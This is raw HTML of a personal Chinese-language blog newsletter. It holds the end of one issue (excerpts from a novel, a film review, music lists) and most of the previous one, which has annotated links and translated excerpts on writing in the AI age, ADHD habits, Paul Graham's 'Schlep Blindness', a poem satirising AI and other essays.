我一向无法向人说清楚她的魅力,尽管这种事情没必要解释清楚,但每当对方将她贴上「无固定工作的丑女」的标签,我还是会感到难过。我渐渐不再和别人提起她。事到如今,她推荐给我的音乐我仍然在听,她推荐给我的作家出了新书,我也必定去买来阅读。人在港区六本木,我仍然想念那个暑热的国度,是受到在仲屋梦幻堂工作过的、喜欢印度的她的影响。她在我心里超越了朋友,也超越了女友,是唯一一个我喜欢她比自己还多的人,是接近于信仰的存在。对我影响最深的人,不是战国武将,也不是某位艺人或艺术家,而是中等身材、三白眼、有特应性皮炎的那个可爱的丑女人。 </p> </blockquote> <blockquote> <p> <span class="underline">我们从开始的那一刻起,就注定了有一天要分手的命运。</span><span class="underline">就像夜晚过去一定会迎来早晨,早晨过后,夜晚也终将到来一样。</span><span class="underline">只是没人知道,那所谓的「必然」是会出现在今天,还是明天,抑或是二十年后。</span> </p> </blockquote> <blockquote> <p> 「我说,你知道吗?国会图书馆里藏有全日本所有的出版物。从文艺杂志到漫画,再到色情杂志,应有尽有。」「你不是不读书吗?」关口无视我的吐槽,继续说着,<span class="underline">「也就是说,那里已有的藏书数量就算我们再活五十年,每天读一本书也读不完。</span><span class="underline">另外,世界人口已经超过七十亿,此时此刻仍在不断增长。</span><span class="underline">就算我们还能再活五十年,也没有时间和世上所有的人一一问好。</span><span class="underline">今天我们能见面,你不觉得这是个奇迹吗?」</span> </p> <p> 没错,正因为关口是这样性格的家伙,直到今天我才都能待在同一个地方。 </p> <p> 「你要给我活下去哦。」 </p> <p> 关口笑着推开车门,说话的时候一只脚已经迈了出去。 </p> <p> 「你保持现在的样子就很好。不过,如果你失败了,我喝起酒来还会更香。所以,挑战一把吧。」 </p> </blockquote> <blockquote> <p> 初次见面那天,我们主动把伤口给对方看,装模作样地谈起梦想。人生真是不可思议。谁料到我今后真的一本正经地做起这个梦来。现在想一想,说不定是因为我唯独不想对那时的她说谎吧。 </p> </blockquote> <blockquote> <p> 有人发牢骚、有人很兴奋、有人怒吼、有人撒娇。每个人都窥视着这个宽广的世界,推开单手就能关上的窗,试图在窗外寻得满足。那里有时让我感到呼吸突然局促,感受到隐形而不讲道理的规则,并让我垂下双眼于那个无法与自己分享的平行世界。不过,每个人还是闪着微弱的光,以告知大家「我在这儿」。无论交流方式怎么改变,我们依然害怕孤独。从一等星到六等星,亮度和大小虽然各有不同,但我深深觉得,所有人都害怕孤独,所有人都大喊着,想要更快、更深地与外界产生联结。 </p> </blockquote> <blockquote> <p> 在公司第十四年的时候,突然接到给 Laforet 原宿制作活动海报的任务。完工后,我和朋友在做好的海报前合影 ⸺ 她只给这一条动态点了赞。我有无数次想回复她一些什么,最终却没能按下发送键。 </p> <p> 日子总在不断成为过去,此时此刻也不例外。如今放下一切的她,和仍在上下求索的我,要面对的都是未来,而不是过去。无论多么狼狈,「大人的阶梯」都只能一味地向上攀爬。原本打算在舞台上装傻充愣的我,从栏杆的间隙往下看,才发现自己已经爬得很高,脚下一片云雾缭绕,看不清来路。 </p> <p> 雅虎新闻首页报道,近期将限量生产三百辆电影《回到未来》中的德劳瑞恩汽车。如果我现在坐上德劳瑞恩,一定会输入「1999 年 7 月 22 日」,再写上「AM6:30」,然后踩下油门。目的地是涩谷,圆山町坡道中间。我会在那里从喷着火的德劳瑞恩上跳下来。 </p> </blockquote> <blockquote> <p> 「你这样有趣的人,是不要紧的啦。」每通电话的最后,她都会这样说。 </p> <p> 我这样一个跑腿儿的,没有学历、没有一技之长、甚至没有被社会接纳为其中一员的烂人,她却认可了我。那些日子里,多亏她每天跟在身后,承认我这号人的存在,我才感到自己活着的价值。应该说,任我怎么努力也不起波澜的每一天,多亏了从她那里得到活着的意义,我才能在东京这座城市挣扎着撑过来,直到如今。 </p> </blockquote> </details></li> </ul> </div> </div> <div id="outline-container-D5FD3EC2-F301-4822-B32F-620EA61EDACD" class="outline-3"> <h3 id="D5FD3EC2-F301-4822-B32F-620EA61EDACD"><a href="#D5FD3EC2-F301-4822-B32F-620EA61EDACD">影视</a></h3> <div class="outline-text-3" id="text-D5FD3EC2-F301-4822-B32F-620EA61EDACD"><ul class="org-ul"> <li><p> <a href="https://movie.douban.com/subject/35259430/">我们都无法成为大人 ボクたちはみんな大人になれなかった (2021)</a> </p> <p> 聴了小沢健二的「天使たちのシーン」後找來看的電影,是我喜歡的類型,喜歡電影呈現的日本都市的氛圍。看完電影後我把原著 (《<a href="https://book.douban.com/subject/34791792/">我們都無法成為大人</a>》) 也找來看了,電影呈現得要比書里更丰富,電影看完會留下一些情緒的余波,書的話帯來的感受就比较淡。有几個情節,例如好兄弟攬下工作讓男主蹺班約會、拿著花送别男主的同事、摔倒後帮男主包扎的黑道小弟,電影都比書里平白的描述呈現得更好。 </p> <p> 電影的叙事是從 2020 年一直回溯到男女主相識的 1995 年,中間描述了很多男主的經历,做過的事、認識的人,最後再回到了 2020 年的現在。而書的話是男主在去見人的路上,不小心在 Facebook 上向曾經的女友發了好友申請,然後開始了回憶。書和電影的情節還是有點出入的,如果喜歡電影推薦把書也看看,篇幅也不長。 </p> <p> 在電影里聴到「天使たちのシーン」了,那一段我很喜歡,男女主一起蹺班自駕,没有目的地四处去,後來他們停在一個地方,夏日的夕阳灑在女主的睡臉上,男主用一次性胶片機偷偷拍了一張;之後女主醒了看到夕阳,冲了出去跑了一路,回頭喊著男主過來;再一起逛街、去星空般的旅馆,直到一天結束。搭配著小沢健二的「天使たちのシーン」,給人的感覺就是一段金黃色的、絢爛的、无比美好的回憶。 </p></li> </ul> </div> </div> <div id="outline-container-51A9D5F8-419E-4F5E-9BE9-A9DB11732019" class="outline-3"> <h3 id="51A9D5F8-419E-4F5E-9BE9-A9DB11732019"><a href="#51A9D5F8-419E-4F5E-9BE9-A9DB11732019">视频</a></h3> <div class="outline-text-3" id="text-51A9D5F8-419E-4F5E-9BE9-A9DB11732019"><ul class="org-ul"> <li><a href="https://www.bilibili.com/video/BV1sfEv6sELx/">12集,12首爵士神曲!它凭什么出圈?</a> (18:47) by 夏威夷爵菜头</li> <li><a href="https://www.youtube.com/watch?v=jbbLCgh6sso">Fascinating Termite Architecture | Trials Of Life | BBC Earth</a> (4:09) by BBC Earth</li> </ul> </div> </div> <div id="outline-container-E11F4AA1-C1EB-4734-A925-32AE7215EDDE" class="outline-3"> <h3 id="E11F4AA1-C1EB-4734-A925-32AE7215EDDE"><a href="#E11F4AA1-C1EB-4734-A925-32AE7215EDDE">音乐</a></h3> <div class="outline-text-3" id="text-E11F4AA1-C1EB-4734-A925-32AE7215EDDE"><ul class="org-ul"> <li>犬は吠えるがキャラバンは進む by 小沢健二</li> <li>LIFE by 小沢健二</li> <li>So kakkoii 宇宙 by 小沢健二</li> <li>馬の骨 by 馬の骨</li> </ul> </div> </div> </div> <div id="footnotes"> <h2 class="footnotes">&#33050;&#27880;: </h2> <div id="text-footnotes"> <div class="footdef"><sup><a id="fn.1" class="footnum" href="#fnr.1" role="doc-backlink">1</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> 2020 年還在新冠疫情期間 </p></div></div> </div> </div></div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/52.txt">純文本版本</a> <a href="https://taxodium.ink/52.org">原始 org 文件</a>

2026/6/15
阅读更多

Zine#51 - 把愛傳給「未來的自己」、優秀的網站設計原則

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Zine#51</h1> <p class="subtitle" role="doc-subtitle">把愛傳給「未來的自己」、優秀的網站設計原則</p> </header> <p> 🎵 天使たちのシーン by 小沢健二 </p> <style> .lyric-card p { color: oklch(.9 0 0 / .8); background: linear-gradient(to left, transparent, oklch(from #6889b9 l c h / 1)); & b { color: oklch(from #e5e096 l c h / .8); } } </style> <p> 小沢健二的「天使たちのシーン」我很喜歡,小沢健二的嗓音好聴,歌曲的旋律也很棒。編曲上,一直伴隨著好聴的 bass,讓人聴著想跟著擺動身體,間奏的薩克斯、吉他超好聴,鋼琴也很棒。盡管曲子長達 13:37,但聴起來一點也不覺得无聊,我甚至覺得可以再長一點。 </p> <p> 這首曲子收录󠄃在専輯《犬は吠えるがキャラバンは進む》<sup><a id="fnr.1" class="footref" href="#fn.1" role="doc-backlink">1</a></sup>中,整張専輯都好聴,推薦一聴。小沢健二的另一張専輯《LIFE》也不錯,更偏流行一些。兩張専我更喜歡《犬は吠えるがキャラバンは進む》,封面也更好看(小沢健二側臉看著有種堺雅人的既視感)。 </p> <p> 「天使たちのシーン」是《<a href="https://movie.douban.com/subject/35259430/">我们都无法成为大人 ボクたちはみんな大人になれなかった (2021)</a>》的插曲,之後也打算找來看看。 </p> <p> 如果喜歡小沢健二,還可以聴聴 <a href="https://en.wikipedia.org/wiki/Flipper%27s_Guitar">Flipper's Guitar</a>,小沢健二是樂隊的主唱。 </p> <hr> <p> 博客的一些小改動: </p> <ul class="org-ul"> <li>重构了 <a href="js/sidenote.js">sidenote.js</a>,在手機上也可以方便看脚注了。不過脚注還是會盡量少用,相關考量見: <a href="on-give-footnotes-the-boot.html">关于 "Give footnotes the boot" 的思考</a>。</li> <li><p> 簡单畫了個 Bandcamp 的 88x31 button,有的 Album 如果在 Bandcamp 上存在,我會貼上這個銨鈕。 </p> <figure> <a href="https://bandcamp.com/"><img src="images/88x31/bandcamp.png" alt="bandcamp.png" data-href="https://bandcamp.com/" style="border-radius: 0; box-shadow: none"></a> </figure></li> </ul> <div id="outline-container-752DF827-6DE8-4557-BCC7-D7D2CACAC985" class="outline-2"> <h2 id="752DF827-6DE8-4557-BCC7-D7D2CACAC985"><a href="#752DF827-6DE8-4557-BCC7-D7D2CACAC985">News | Article</a></h2> <div class="outline-text-2" id="text-752DF827-6DE8-4557-BCC7-D7D2CACAC985"><ul class="org-ul"> <li><p> <a href="https://css-tricks.com/technical-writing-in-the-ai-age/">Technical Writing in the AI Age</a> by Geoff Graham </p> <p> 在 AI 時代,寫文章還有价值嗎?這個問題只有你自己能回答,如果你還願意寫,肯定有你堅持的理由。 </p> <p> 作者也分享了一些建議: </p> <ul class="org-ul"> <li>如果你看到不錯的內容,就去分享他們,或是告訴作者你的喜歡,這會給作者一些鼓勵。</li> <li>嘗試挑戰自己,深入探討那些人工智慧無法獨立解決,或至少無法輕易解決的問題。</li> <li>鏈接那些你参考、引用的內容,引導讀者去關注那些來源,彼此之間相互連結、相互成就。</li> </ul> <details> <summary>摘录</summary> <blockquote> <p> 每當文章評論、電子郵件或社群媒體上的提及告訴我們,我們的工作在某種程度上有所幫助時,我仍然能從中獲得很大的個人成就感。真的。我建議讓你最喜歡的技術作家知道你喜歡並依賴他們的作品,無論你是在哪裡閱讀他們的文章。 </p> <p> <a href="https://css-tricks.com/technical-writing-in-the-ai-age/#:~:text=fill%2E-,And,them">Source</a> </p> </blockquote> <blockquote> <p> 如果你打算寫點什麼,我建議深入探討那些人工智慧無法獨立解決,或至少無法輕易解決的問題。 [&hellip;] </p> <p> 當我面臨挑戰時,學習效果最好,比如客戶提出我從未嘗試過的要求。我敢打賭你也是這樣學習的。我們犯錯並從中汲取教訓。對於技術作家來說,從新手到理解的過程才是關鍵所在。 </p> <p> <a href="https://css-tricks.com/technical-writing-in-the-ai-age/#:~:text=If%20you%E2%80%99re,prompts">Source</a> </p> </blockquote> <blockquote> <p> 我深信 CSS 是富有詩意的,因為解決問題的方法不只一種,而最好的方法就是最符合你心理模型的那一個。 </p> <p> 而且我相信,純粹為了嘗試而嘗試是有真正價值的。 </p> <p> <a href="https://css-tricks.com/technical-writing-in-the-ai-age/#:~:text=made%2E-,I,it%2E">Source</a> </p> </blockquote> <blockquote> <p> 歸根結底,這一切都關乎人與人之間的互相幫助。我們並非某天醒來就掌握了所有答案,而是從他人的學習與分享中汲取知識,因此引導讀者去關注那些來源是非常值得的。雖然人們很容易想把自己發布的所有內容都塑造成原創,但根據我的經驗,事實並非如此。 </p> <p> 我們在彼此的基礎上共同成長。這就是 <a href="https://thehistoryoftheweb.com/do-blogs-need-to-be-so-lonely/">部落格的核心精神</a>。讓我們用 <a href="https://thehistoryoftheweb.com/the-right-to-link/">超連結這種老派而優雅的方式</a>,來互相成就吧。 </p> <p> <a href="https://css-tricks.com/technical-writing-in-the-ai-age/#:~:text=At%20the%20end,hyperlinks%2E">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://rcanzlovar.com/blog/adhd-task-management-from-an-internet-rando/">ADHD task management from an internet rando</a> by Bob Anzlovar </p> <blockquote> <ul class="org-ul"> <li>不要坐下来「就歇一秒钟」。那会让你白白浪费 2 小时。</li> <li>如果一件事耗时不到 2 分钟,请在你的大脑把它排到明年之前完成它。</li> <li>永远不要相信「我会记住的」。你记不住。立即写下来。</li> <li>把重要的东西放在物理上能挡住你路的地方。</li> <li>动力是虚的。惯性(动量)才是真的。如果必须开始,哪怕开始得很糟糕也要做。</li> <li>计时器是情感支持设备。要经常使用。背景噪音有帮助。完全的寂静感觉像是违法的。</li> <li>如果你突然有了精力,不要质疑它。顺势而为。</li> <li>「眼不见,心不烦」不是一种比喻。这是一种诊断。</li> <li>不要为了逃避执行任务而去整理任务。</li> </ul> <p> <a href="https://rcanzlovar.com/blog/adhd-task-management-from-an-internet-rando/#:~:text=Don%E2%80%99t,task%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://listeningroomsmusic.com/scholarch/">Marginalia #7 — Scholarch</a> by The Listening Rooms </p> <p> Scholarch 推薦的兩張専輯,我聴了聴,還不錯: </p> <ul class="org-ul"> <li>Slowdive by Slowdive</li> <li>Illusions by Thomas Bergersen</li> </ul></li> <li><p> <a href="https://axxuy.com/blog/2026/i-love-walking/">I Love Walking</a> by axxuy </p> <p> 我也喜歡散步,一边聴歌或播客。不過一個人散步,不聴點東西的話會覺得有點无聊,但這種无聊的時刻或許也是需要的。 </p></li> <li><p> <a href="https://hamatti.org/posts/indieweb-carnival-may-2026-roundup-of-love-letters/">IndieWeb Carnival May 2026: Roundup of love letters</a> by Juha-Matti Santala </p> <p> 看看別人寫的「情書」,上面分享的 axxuy 的 <a href="https://axxuy.com/blog/2026/i-love-walking/">I Love Walking</a> 就是其中一份投稿。 </p> <p> See also: <a href="https://eddielv.com/articles/blogblog-party-recap-may-2026/">「改變人生觀的一句話」── 2026 年 5 月 BlogBlog 同樂會回顧</a> by Eddie Lv </p></li> <li><p> <a href="https://blakewatson.com/journal/things-i-enjoy-about-dungeons-dragons/">Things I enjoy about Dungeons &amp; Dragons</a> by Blake Watson </p> <p> 也挺想玩龙与地下城 (Dungeons &amp; Dragons) 的,但入門門槛有點高,也不認識會玩的人 = = </p></li> <li><p> <a href="https://t-t.live/archives/7MagsYkt">711 全职店务员离职心得</a> by 团团生活志 </p> <p> 711 全职店务员的工作也很累呀,要站一天。 </p></li> <li><p> <a href="https://justgoidea.com/yi-xiang-de-xiang-yin/">异乡的乡音</a> by L.G. </p> <p> 一首歌,一段旋律,可能就會釣起一段回憶。文章讓我想起之前分享的 <a href="album-11.html">Album#11 - 錯誤</a> 中的一首歌 ⸺ 野店: </p> <p class="verse"> <span class="underline">有命运垂在颈间的骆驼</span><br> <span class="underline">有寂寞含在眼里的旅客</span><br> <span class="underline">是谁挂起这盏灯啊</span><br> <br> 旷野上<br> 一个朦胧的家<br> 朦胧的家<br> <br> [&hellip;]<br> <br> <span class="underline">有松火的歌的地方啊</span><br> <span class="underline">有烧酒羊肉的地方啊</span><br> <span class="underline">有人交换着流浪的方向</span><br> 有人交换着流浪的方向<br> </p></li> <li><p> <a href="https://yangbear.bearblog.dev/6607/">一款可以抽籤的飲料</a> by 帥熊 </p> <blockquote> <p> 「雖然看不到,但瓶身就是要浮誇一下」 </p> </blockquote> <p> 確實是,完全没必要吧,不過如果發現了會有點惊喜吧,也好看。 </p></li> <li><p> <a href="https://yangbear.bearblog.dev/8785/">失智了走失怎麼辦</a> by 帥熊 </p> <blockquote> <p> 雖然我知道她大概半開玩笑,但是「半開玩笑」就是「半真心」。 </p> </blockquote></li> <li><p> <a href="https://chise.hachiroku.com/zh/opinion/prepare-next-generation/">我们需要为下一代准备什么</a> by Chise Hachiroku </p> <blockquote> <ul class="org-ul"> <li>首先,作为一个正派人的基本素养;</li> <li>其次,是在这个世界中闯荡的知识;</li> <li>接下来,是迎接未来挑战的勇气;</li> <li>此外,值得回味与铭记的美好回忆;</li> <li>最后,职业或学术上的卓越——</li> <li>并在沿途提供引导。</li> </ul> <p> <a href="https://chise.hachiroku.com/zh/opinion/prepare-next-generation/#:~:text=Contents,%E5%BC%95%E5%AF%BC">Source</a> </p> </blockquote></li> <li><p> <a href="https://gkeenan.co/avgb/my-method-for-perfect-pourover-coffee/">My method for perfect pourover coffee</a> by Keenan </p> <blockquote> <p> 一杯真正頂級的咖啡取決於兩件事: </p> <ul class="org-ul"> <li>優質咖啡豆</li> <li>優質水源</li> </ul> <p> <a href="https://gkeenan.co/avgb/my-method-for-perfect-pourover-coffee/#:~:text=%E4%B8%80%E6%9D%AF%E7%9C%9F%E6%AD%A3,%E6%B0%B4%E6%BA%90">Source</a> </p> </blockquote> <p> 關於水源,文中還有一段有趣的故事。 </p> <p> 要冲出一杯好的咖啡,咖啡豆確實是最重要的,好的豆子對冲煮的要求没那麼高,亂冲也不會差到哪去。水的話我就找不到作者文中那麼神奇的水了,我一般就用農夫山泉。 </p></li> <li><p> <a href="https://paulgraham.com/schlep.html">Schlep Blindness</a> by Paul Graham </p> <blockquote> <p> 瑣事不僅不可避免,而且基本上就是商業的組成部分。一家公司是由它願意承擔的瑣事來定義的。 </p> <p> <a href="https://paulgraham.com/schlep.html#:~:text=code%2E-,But,great">Source</a> </p> </blockquote> <p> Schlep 指那處繁瑣的、令人不快的工作。没人喜歡做這樣的事,甚至會無意識地逃避它們,對它們視而不見。發現這些瑣事、解决這些瑣事,可能會从中產生巨大价值。 </p> <p> See also: <a href="https://blog.cytrogen.icu/posts/893f.html#%E5%AF%B9%E8%8B%A6%E5%B7%AE%E4%BA%8B%E7%9A%84%E9%80%89%E6%8B%A9%E6%80%A7%E5%A4%B1%E6%98%8E">想法在丙午芒种迭代::《对苦差事的选择性失明》</a> by Cytrogen。 </p> <details> <summary>摘录</summary> <blockquote> <p> 身邊到處都有偉大的創業點子躺在那裡未被開發。我們看不見它們的一個原因是我稱之為「瑣事盲點」(schlep blindness) 的現象。 Schlep 最初是一個意第緒語 (Yiddish) 詞彙,但已在美國進入通用語。它的意思是繁瑣、令人不快的工作。 </p> <p> <a href="https://paulgraham.com/schlep.html#:~:text=2012There,task">Source</a> </p> </blockquote> <blockquote> <p> 但我很快從經驗中了解到,瑣事不僅不可避免,而且基本上就是商業的組成部分。一家公司是由它願意承擔的瑣事來定義的。處理瑣事應該像處理冰冷的游泳池一樣:跳進去就對了。這並不是說你應該刻意尋求不快的工作,而是如果它通往偉大之路,你就永遠不該退縮。 </p> <p> <a href="https://paulgraham.com/schlep.html#:~:text=code%2E-,But,great">Source</a> </p> </blockquote> <blockquote> <p> 我們對瑣事的厭惡最危險的一點是,這種厭惡大多是無意識的。你的潛意識甚至不會讓你看到那些涉及痛苦瑣事的點子。這就是「瑣事盲點」。 </p> <p> <a href="https://paulgraham.com/schlep.html#:~:text=The%20most%20dangerous%20thing%20about%20our%20dislike%20of%20schleps%20is%20that%20much%20of%20it%20is%20unconscious%2E%20Your%20unconscious%20won%27t%20even%20let%20you%20see%20ideas%20that%20involve%20painful%20schleps%2E%20That%27s%20schlep%20blindness">Source</a> </p> </blockquote> <blockquote> <p> 你如何克服瑣事盲點?坦白說,瑣事盲點最有價值的解藥可能是無知。大多數成功的創業者可能會說,如果他們在創業之初就知道必須克服的障礙,他們可能永遠不會開始。也許這就是為什麼最成功的創業公司往往擁有年輕創業者的原因之一。 </p> <p> <a href="https://paulgraham.com/schlep.html#:~:text=generally%2E%29-,How,founders,-%2EIn">Source</a> </p> </blockquote> <blockquote> <p> 不過無知不能解決所有問題。有些點子顯然包含令人擔憂的瑣事,任何人都能看出來。你如何看到那樣的點子?我推薦的訣竅是把自己從情境中抽離。與其問「我應該解決什麼問題?」,不如問「我希望別人能幫我解決什麼問題?」。 </p> <p> <a href="https://paulgraham.com/schlep.html#:~:text=Ignorance%20can%27t,me%3F%22">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://labnotes.org/i-got-4-84-from-a-class-action-settlement-and-they-really-really-didnt-want-me-to-have-it/">I Got $4.84 From a Class Action Settlement and They Really, Really Didn't Want Me to Have It</a> by Assaf </p> <p> 作者在集體訴訟和解中獲得了 4.84 美元,賠償是通過一張借記卡寄給他,但借記卡的使用有很多限制,之所以這樣,是因為賠償方賭你在搞清楚怎麼花掉這筆錢之前就會先放棄,等過期了,錢就回到他們手上。 </p> <p> 這樣確實會阻擋很多人,就像上面的 <a href="https://paulgraham.com/schlep.html">Schlep Blindness</a> 說到的,人都不想处理這些瑣事,往往會選擇逃避,而且錢也不算很多,人們就更不願意折騰,最後便宜了賠償方。 </p> <p> 但作者不打算放棄,最後他發現用 Stripe 可以繞過限制,成功將賠償从借記卡中轉到了自己帳戶中。 </p></li> <li><p> <a href="https://protesilaos.com/commentary/2026-06-01-re-living-seclusion-woman-question/">Re: Living in seclusion and the woman question</a> by Protesilaos </p> <p> Protesilaos 住在山里,有點像是隠居生活。讀者好奇他是如何处理性需求的,以及對於地位、金錢的看法,文章是 Protesilaos 的回應。 </p> <details> <summary>摘录</summary> <blockquote> <p> 為了陪伴而尋求陪伴,才是讓人痛苦的原因:他們將自己作為人的價值寄託在他人變幻莫測的評價上。此外,為了陪伴而陪伴意味著你正在壓抑自我的重要面向,這不可避免地會以其他方式讓你崩潰。 </p> <p> <a href="https://protesilaos.com/commentary/2026-06-01-re-living-seclusion-woman-question/#:~:text=Wanting,ways">Source</a> </p> </blockquote> <blockquote> <p> 我希望所有的思考都是細膩且有層次的,否則它只會在辨識那些它既定認知的範疇,並在此過程中得出令人質疑的結論。 </p> <p> 任何事情都可以被解讀為尋求關注,包括刻意避開關注的行為,以至於所有行動都可以被簡化為對地位的渴望。如果你一貫地套用這種邏輯,你很快就會抹殺所有的細微差別,你的分析能力也會因此受到限制。 </p> <p> <a href="https://protesilaos.com/commentary/2026-06-01-re-living-seclusion-woman-question/#:~:text=in%2E-,I,accordingly">Source</a> </p> </blockquote> <blockquote> <p> 我將「對行動的投入」與「對結果的執著」區分開來。我全身心地投入到我的計畫中,但如果事情沒有按我預想的方式發展,我也不會感到困擾。 </p> <p> <a href="https://protesilaos.com/commentary/2026-06-01-re-living-seclusion-woman-question/#:~:text=I%20make%20a%20distinction%20between%20%E2%80%9Ccommitment%20to%20initiatives%E2%80%9D%20and%20%E2%80%9Ccommitment%20to%20results%E2%80%9D%2E%20I%20am%20fully%20committed%20to%20my%20projects%20but%20I%20will%20not%20feel%20disturbed%20if%20things%20do%20not%20work%20the%20way%20I%20had%20imagined">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://protesilaos.com/commentary/2026-06-02-re-on-learning-something-new/">Re: On learning something new</a> by Protesilaos </p> <p> Protesilaos 分享他是如何學習新事物的。 </p> <p> 克制地决定是否需要學習、优先閱讀官方資源或研究原始材料、注意邊際收益<sup><a id="fnr.2" class="footref" href="#fn.2" role="doc-backlink">2</a></sup>,做到「足够好」或許就够了。 </p> <details> <summary>摘录</summary> <blockquote> <p> 在學習新事物之前,我會先質疑自己是否真的需要那項技能或知識。這是因為我沒有足夠的時間去投入到每一件我有興趣探索的事情上。 </p> <p> 對我來說,警惕自己鑽牛角尖的傾向至關重要。<span class="underline">如果你不控制自己沉溺於好奇心的傾向,就有可能無法專注於職責,從而永遠無法獲得成就感。</span>我基本上擁有無限的好奇心,也具備在幾乎任何領域變得稱職的基本技能,但我的資源是有限的,因此我必須相應地進行優化。 </p> <p> <span class="underline">我認為,克制住腦海中對那些新鮮亮麗事物的嚮往是有意義的。</span><span class="underline">是的,它們很有吸引力,但也伴隨著相當大的隱形成本。</span><span class="underline">專注於你現有的事物。</span><span class="underline">只有當有深層次的原因時才擴展你的活動,屆時你已經準備好為了預期收益而承擔任何代價。</span> </p> <p> 換句話說,要了解自己的極限,量力而行。 </p> <p> <a href="https://protesilaos.com/commentary/2026-06-02-re-on-learning-something-new/#:~:text=Before,means">Source</a> </p> </blockquote> <blockquote> <p> <span class="underline">我的方法是閱讀官方資源或研究原始材料(只要相關)。</span><span class="underline">任何衍生內容(例如社群維基)都會在我對自己尋找的目標有初步概念後才去接觸。</span><span class="underline">我以追求簡約的眼光來處理主題:那些複雜的方法對我的需求來說往往是多餘的。</span> </p> <p> <span class="underline">同時,我也意識到任何努力都存在邊際收益遞減。</span><span class="underline">我不需要成為世界上最頂尖的工程師才能蓋房子。</span><span class="underline">我只需要做到「足夠好」<sup><a id="fnr.3" class="footref" href="#fn.3" role="doc-backlink">3</a></sup>,然後——瞧——我就能達成我下定決心要做的事。</span><span class="underline">同樣地,如果沒有極其充分的理由,我會抵制過度深入研究。</span> </p> <p> 我將想法付諸行動。我渴望體驗自身行為帶來的後果:我透過反覆試錯來前進,這也是為什麼我天生步調緩慢且講求條理。無休止的閒聊及其隨之而來的優柔寡斷令我感到厭煩,這也是為什麼我對那些只做思想實驗卻從未實踐過所談論內容的人評價不高。因此,對於任何聲稱自己多麼敏銳的人,我會根據其行為而非其宣稱的信念來評判。 </p> <p> <a href="https://protesilaos.com/commentary/2026-06-02-re-on-learning-something-new/#:~:text=value%2E-,My,beliefs">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://forkingmad.blog/apparently-mad/">Apparently I am Mad!</a> by Forking Mad + </p> <p> 作者遛狗,和一個陌生人打招呼,但對方却不一直没理會,最後對方終於開口了,他說:「從來沒人跟我說話。我是個脾氣古怪的老頭」。 </p> <p> 在路上走我大概不會和陌生人打招呼,就算是在常坐的電梯里也不會,打車我也不想和司機攀談。但我覺得像作者這樣,和附近的陌生人打個招呼也不錯,人与人之間可以不那麼冷漠。 </p></li> <li><p> <a href="https://placesjournal.org/article/the-disappearance-of-the-public-bench/">The Disappearance of the Public Bench</a> by Gabrielle Bruney </p> <blockquote> <p> 長椅是熱情好客的象徵,是參與公民領域的邀請函。 </p> <p> <a href="https://placesjournal.org/article/the-disappearance-of-the-public-bench/#:~:text=Benches%20are%20symbols%20of%20hospitality%2C%20an%20invitation%20to%20participate%20in%20the%20civic%20realm">Source</a> </p> </blockquote> <p> 很長的文章,是作者對公共長椅、公共空間的一些觀察和思考。 </p></li> <li><p> <a href="https://www.autodidacts.io/backpack-activation-energy/">Backpack Activation Energy</a> by The Autodidacts </p> <blockquote> <p> 我出差或旅遊的次數還算頻繁,在出發前往往會覺得行程排得太滿,然後心想:喔,在開車、搭飛機、火車或渡輪的時候,我就有時間處理那件事了。 </p> <p> 於是我在背包裡塞滿了從筆記本撕下來、待完成的活頁紙,結果卻是眼神呆滯、無精打采地坐著,吃著品質堪憂的食物並盯著窗外發呆;而那些我帶去準備處理的事項,則被揉得皺巴巴、沾上食物殘渣,準備在我抵達目的地打開行李時,默默地對我進行審判。 </p> <p> <a href="https://www.autodidacts.io/backpack-activation-energy/#:~:text=%E6%88%91%E5%87%BA%E5%B7%AE,%E5%AF%A9%E5%88%A4">Source</a> </p> </blockquote> <p> 同感,出遠門時背包里總是塞了很多覺得會用上的東西,但最後也没拿出來用,徒增負担。類似的是當有大段假期時,總是計畫要做很多事,但假期結束發現也没做成什麼。 </p> <p> 少帯些東西,少計畫些東西,専注於少量事情或許更好。 </p> <blockquote> <p> 多喝咖啡。抱歉,這是我能想到最好的建議了。 </p> <p> <a href="https://www.autodidacts.io/backpack-activation-energy/#:~:text=Drink%20more%20coffee%2E%20Sorry%2C%20it%E2%80%99s%20the%20best%20I%E2%80%99ve%20got">Source</a> </p> </blockquote></li> <li><p> <a href="https://wangyurui.com/posts/dao-de-shi-wo-tong-ku-928d6e2e">道德使我痛苦</a> by 太隠 </p> <p> 關於 <a href="https://zh.wikipedia.org/wiki/%E8%B5%AB%E5%B0%94%E6%9B%BC%C2%B7%E9%BB%91%E5%A1%9E">赫尔曼·黑塞</a>。 </p></li> <li><p> <a href="https://manuelmoreale.com/interview/barry-hess">Barry Hess</a> by Manu </p> <p> 這期采訪的是 <a href="https://pika.page">Pika</a> (一个博客和電子報平台) 的開發者 Barry Hess。他推薦了好几個不錯的博客。 </p></li> <li><p> <a href="https://shawnsmucker.substack.com/p/please-use-ai">Please Use AI</a> by Shawn Smucker </p> <p> 一篇反讽 AI 的温暖短文。推薦一讀。 </p> <p> See also: <a href="https://www.linggandianbo.com/newsletter-126/#5-please-use-ai">灵感电波#126::5. Please Use AI</a> by DSH。 </p> <details> <summary>摘录</summary> <p class="verse"> Be sure to use AI<br> <br> and while you do I’ll be over here in my 50th<br> year, my youngest daughter asleep on my chest,<br> my arm falling asleep because I dare not move<br> lest I scare away this moment,<br> lying here melancholy about my older<br> children moving out and my middle<br> children no longer needing me, at least<br> not like they used to, weary about this body<br> that fails me now in ever increasing ways<br> that will never be restored. Sighing<br> over stories I tried to write but never hit<br> the page the way they felt in my mind.<br> <br> But isn’t that, my flesh-and-blood friend,<br> the natural order of things?<br> <br> the longing for something that could always be<br> a bit better<br> <br> or the way that anything<br> worth doing feels a bit clumsy and painful,<br> especially at first<br> <br> or hearing another human voice and somehow<br> realizing the beauty of life is found in all of these<br> subtle imperfections<br> <br> <a href="https://shawnsmucker.substack.com/p/please-use-ai#:~:text=sweetness%21-,Be,imperfections">Source</a><br> </p> </details></li> <li><p> <a 